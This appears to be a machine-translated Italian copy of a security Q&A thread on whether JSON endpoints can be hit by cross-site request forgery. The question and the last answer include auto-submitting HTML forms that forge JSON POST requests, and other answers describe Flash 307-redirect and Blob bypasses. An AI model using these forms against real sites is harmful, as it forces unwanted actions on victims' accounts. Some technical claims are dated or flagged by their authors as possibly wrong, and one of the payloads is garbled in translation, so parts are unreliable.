it-swarm-eu.dev

CSRF con JSON POST quando Content-Type deve essere application / json

Sto testando un'applicazione Web per la quale vengono eseguite azioni commerciali inviando richieste JSON come ad esempio:

POST /dataRequest HTTP/1.1
Host: test.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 
Firefox/55.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Content-Type: application/json; charset=utf-8
Content-Length: 99
Cookie: SESSIONID=7jtyutuytu1a
Connection: close

{"F":"test.AppRequestFactory","I":[{"O":"5vhghgjhgjE0="}]}

Ho creato la pagina di invio automatico HTML in questo modo

<html>
<head>
</head>
<body onload=document.getElementById('xsrf').submit()>
    <form id="xsrf" action="https://test.com/dataRequest" method=post enctype="text/plain">
    <input name='{"F":"test.AppRequestFactory","I":[{"O":""O":"5vhghgjhgjE0' value='"}]}' type='hidden'>
    </form>
</body>
</html>

Il problema è che verrà inviato con l'intestazione Content-Type: text/plain, Ma il server accetta solo Content-Type: application/json; charset=utf-8.

Ho letto la discussione CSRF con JSON POST dove uno dei commenti afferma:

Utilizzare qualcosa del genere: var blob= new Blob([JSON.stringify(YOUR JSON)], {type : 'application/json; charset=UTF-8'}); per generare un BLOB JSON e verrà inviato perfettamente. CSRF in pochi secondi!

Ma non ho idea di come usare questo approccio.

Questa applicazione è vulnerabile agli attacchi CSRF?

14
user187205

Questa applicazione è vulnerabile agli attacchi CSRF?

Sì, è vulnerabile. Il prerequisito, tuttavia, qui è Flash . Con l'aiuto di Flash, è possibile creare un'intestazione Content-type Con qualsiasi valore arbitrario. Quello che devi fare è POST una richiesta al tuo dominio e quindi emettere un reindirizzamento 307. Fai riferimento allo screenshot seguente:

x-domain application/json request

Per ulteriori informazioni, consultare questo articolo cm2.pw .

Utilizzare qualcosa del genere: var blob= new Blob([JSON.stringify(YOUR JSON)], {type : 'application/json; charset=UTF-8'}); per generare un BLOB JSON e verrà inviato perfettamente. CSRF in pochi secondi!

Questo, già, è già stato risolto nei browser moderni. Tuttavia, funziona ancora in IE con URI del file.

Update :
Dato che ultimamente sta ricevendo molte visualizzazioni, sto aggiungendo collegamenti alle correzioni; https://bugzilla.mozilla.org/show_bug.cgi?id=1436241https://bugs.chromium.org/p/chromium/issues/detail?id=33202

Per qualche motivo, la correzione del cromo non funziona e consente comunque di inviare POST richiesta con intestazioni personalizzate Content-type.

11
1lastBr3ath

Avvertenza: Questa risposta può essere errata e ottimistica. Vedi 1lastBr3ath's answer sopra.

No, non penso che l'applicazione sia vulnerabile.

Puoi modificare il Content-Type header, ad es. usando fetch API . Tuttavia, ci sono solo tre valori che è possibile utilizzare per le richieste tra domini:

application/x-www-form-urlencoded
multipart/form-data
text/plain

Se lo cambi in qualcos'altro, come application/json, il browser eseguirà prima una richiesta OPTIONS al server, per vedere se consente di modificare quell'intestazione. Questo comportamento fa parte di CORS ed è progettato per limitare le richieste interdominio che puoi effettuare con JavaScript a quelle vecchio stile che potresti fare con un semplice HTML . Quindi, a meno che il server non consenta specificamente a qualsiasi dominio di impostare questa intestazione (che sarebbe una cosa stupida da fare), sei sfortunato.

Si noti, tuttavia, che questo sembra essere un caso di "sicurezza per caso". Farei affidamento su qualcosa di più forte per la mia protezione CSRF (e forse lo fanno, una volta superato l'ostacolo del tipo di contenuto). Cosa succede se un giorno qualcuno pensa che sarebbe bello se il server accetta altri tipi di contenuto e rimuove tale limitazione? Con questa configurazione, sarebbe facile aprire accidentalmente una falla di sicurezza.

7
Anders

Un altro modo per raggiungere questo obiettivo è sfruttare il fatto che la maggior parte dei parser json rispettano l'uso dei commenti. Quindi, creando un semplice modulo html con un input nascosto, è possibile inserire i dati json come nome dell'elemento di input per poterli pubblicare nel corpo. In questo senario l'unico problema è che quando il modulo viene inviato il corpo del post avrà il '=' (dal nome dell'input = formato valore). Quindi, per evitarlo e rendere nuovamente valido il json, puoi aggiungere un indicatore di commento alla fine del nome (i tuoi dati json). In questo modo il carattere '=' verrà commentato quando analizzato.

Ecco un esempio:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://www.example.com/" method="POST" enctype="text/plain">
      <input type="hidden" name='{"name":"value"}//' value="" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>
0
cavla